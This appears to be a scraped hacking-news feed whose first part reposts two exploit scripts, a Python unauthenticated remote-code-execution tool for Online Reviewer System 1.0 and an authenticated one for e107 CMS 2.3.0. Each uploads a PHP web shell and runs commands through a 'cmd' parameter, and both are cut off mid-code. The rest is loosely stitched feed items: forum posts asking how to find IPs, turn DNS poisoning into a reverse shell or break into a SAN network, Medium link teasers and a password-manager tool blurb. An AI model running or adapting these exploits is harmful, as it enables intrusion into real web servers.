Exploit Collector
Online Reviewer System 1.0 Shell Upload


https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Online Reviewer System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | ae34b4deb334f94e046ad7ea3919c2b1

Download
# Exploit Title: Online Reviewer System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-21
# Vendor Homepage: https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/reviewer_0.zip
# Version: 1.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Online Reviewer System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# RCE via executing exploit:
# Step 1: run the exploit in python with this command: python3 ORS_v1.0.py
# Step 2: Input the URL of the vulnerable application: Example: http://localhost/reviewer/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+" Online Reviewer System 1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
#Create a new session
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/system/system/admins/assessments/databank/files/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')[...]

Exploit Collector
e107 CMS 2.3.0 Shell Upload


https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
e107 CMS version 2.3.0 authenticated remote shell upload exploit.

MD5 | efc7054ac1ba787888db18351c577bcc

Download
# Exploit Title: e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 21-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://e107.org/
# Software Link: https://e107.org/download
# Version: 2.3.0
# Category: Webapps
# Tested on: Linux/Windows

# e107 is a free website content management system
# Includes an endpoint that allows remote access
# Theme page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.
# The contents of the upload "malicious.zip" file must be too long to read to bypass some security measures!

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
# python3 exploit.py -h
from time import sleep
import requests
import argparse
def main():
parser = argparse.ArgumentParser(
description='e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)'
)
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\ne107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
host(args)
def host(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
sleep(2)
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
else:
print("\n[?] Check Adress...\n")
sleep(2)
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
# Check Host Status
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!")
sleep(2)
exit(1)
else:
check(args)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)
def check(args):
response = requests.get(args.host + "/e107_themes/payload/payload.php?cmd=whoami")
if response.status_code == 200:
print("[*] Exploit File Exists!\n")
sleep(2)
exploit(args)
else:
login(args)
def login(args):
url = args.host + "/e107_admin/admin.php"
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xm[...]

hacking: security in practice
good tool to find ip's

Hello does anyone know any good tools to find ip's and how to use is thank you

submitted by /u/brendanvds2007
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Twitch - detecting stream snipers

So one of my favorite streamers claim they have methods to detect stream sniping. And I wonder how. As a programmer myself, I am genuinely interested in how they detect it. They often speak about how they have detected a stream sniper (being in the same server as the streamer as well as the twitch chat).

The only two ways I can think of is:

1. They compare IPs, however, this is really unlikely since I assume Twitch do not share IPs with streamers
2. They compare usernames. This is more likely, however, I find it unlikely, since I would assume a streamsniper could simply watch the stream without being logged in (or even change his username).
3. Twitch somehow collaborates with server owners. Server owners can send a list of IPs of their clients together with a list of Twitch streamer usernames, and Twitch would then tell them if any of the IPs have been confirmed to watch the stream at this moment. Still that seems kinda far-fetched and also a privacy issue.

Anybody care to enlighten me on this subject?

EDIT: I have no interest in stream-sniping

submitted by /u/canfiax
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
From DNS poisoning to Reverse Shell

Hello all!

I was wondering if you can gain a reverse shell to a remote host if you have hijacked its DNS server. For example if a host does http GET / to a web named A. Then I can change the DNS cache and say that A it's not the real webserver, instead it's my host IP. So now the host does the http Get / to my host. Can I exploit this by opening a basic http server using python and put a payload there?

I'm not sure if the remote host will actually download the payload or not and if it will be executed?

Any thoughts about this?

submitted by /u/FreeRaider1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How would I hacking into a SAN network

Ant tips

submitted by /u/Alive_Support9173
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

AWS WAF analysis: How it works and how to attack it

Continue reading on Medium »
Read more...

Hacking on Medium
Какой ОС для расследований я пользуюсь?


Какую операционную систему выбрать для расследований?

Continue reading on Medium »

Hacking on Medium
What are bots costing travel and tourism companies?

We now live in an online-first world, accelerated by the events of the pandemic in 2020. Fraudsters have taken advantage of these…

Continue reading on Netacea »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
El nuevo malware Capoae se infiltra en los sitios de WordPress e instala el complemento con puerta…


PUBLICADO EN 22 SEPTIEMBRE, 2021 POR EHACKING

Continue reading on Medium »

Hacking on Medium
ACSC 2021 Forensics


write up ข้อ Nyong Coin

Continue reading on Medium »

Hacking on Medium
How I Hacked Database of MOGA Police Services Punjab Web-Applicaton !!


Hello Wonderful Readers ,

Continue reading on Medium »

How I Hacked Database of MOGA Police Services Punjab Web-Applicaton !!
https://parshwa-fabaf.medium.com/how-i-hacked-database-of-moga-police-services-punjab-web-applicaton-bc47a978120c?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Wonderful Readers ,Continue reading on Medium » (https://parshwa-fabaf.medium.com/how-i-hacked-database-of-moga-police-services-punjab-web-applicaton-bc47a978120c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!AES256_Passwd_Store - Secure Open-Source Password Manager









This script securely encrypts or decrypts passwords on disk within a custom database file. It also features functionality to retrieve passwords from a previously generated database file. This script takes a master password from stdin/from memory, then hashes the password using the specified hashing algorithm passed to the algorithm parameter/-a (scrypt, sha256) and finally AES-256 encrypts/decrypts the file's data using the algorithm's hash as the AES-256 key. When providing the 'scrypt' argument to the algorithm parameter the script will generate a custom scrypt salt per each database file edit or creation. The uniquely ge nerated salt is base64 encoded and prepended to each database file's encrypted bytes separated by carriage return line feed bytes (for parsing) as meta-data. When using the change password parameter/-cp the script will decrypt the database file's data into memory, write random bytes*WIPE_PASSES to the database file, truncate the file and finally write the new data AES-256 encrypted with the new hashed master password to the database file. Effectively making data recovery/forensics difficult.



Example usage using scrypt as the hashing algorithm:

Create a database file:

python3 aespasswd_store.py -a scrypt -c


Change master password for a database file:

python3 aespasswd_store.py -a scrypt -cp


Edit a database file:

python3 aespasswd_store.py -a scrypt -e


Query data from within the database file:

python3 aespasswd_store.py -a scrypt -q


Examples:

# Add entry to the database/modify existing data:
pass_id1=password
pass_id2=password
pass_id3=password

# Delete existing data:
pass_id1=delete
pass_id2=delete

# -q parameter: Query data (entering nothing dumps all data):
pass_id1
pass_id3

# Press ctrl+D (linux) or ctrl+Z (windows) to save data from stardard input.




Download Aes256_Passwd_Store

___________________________
@hacking_Attack
@Hacking_Video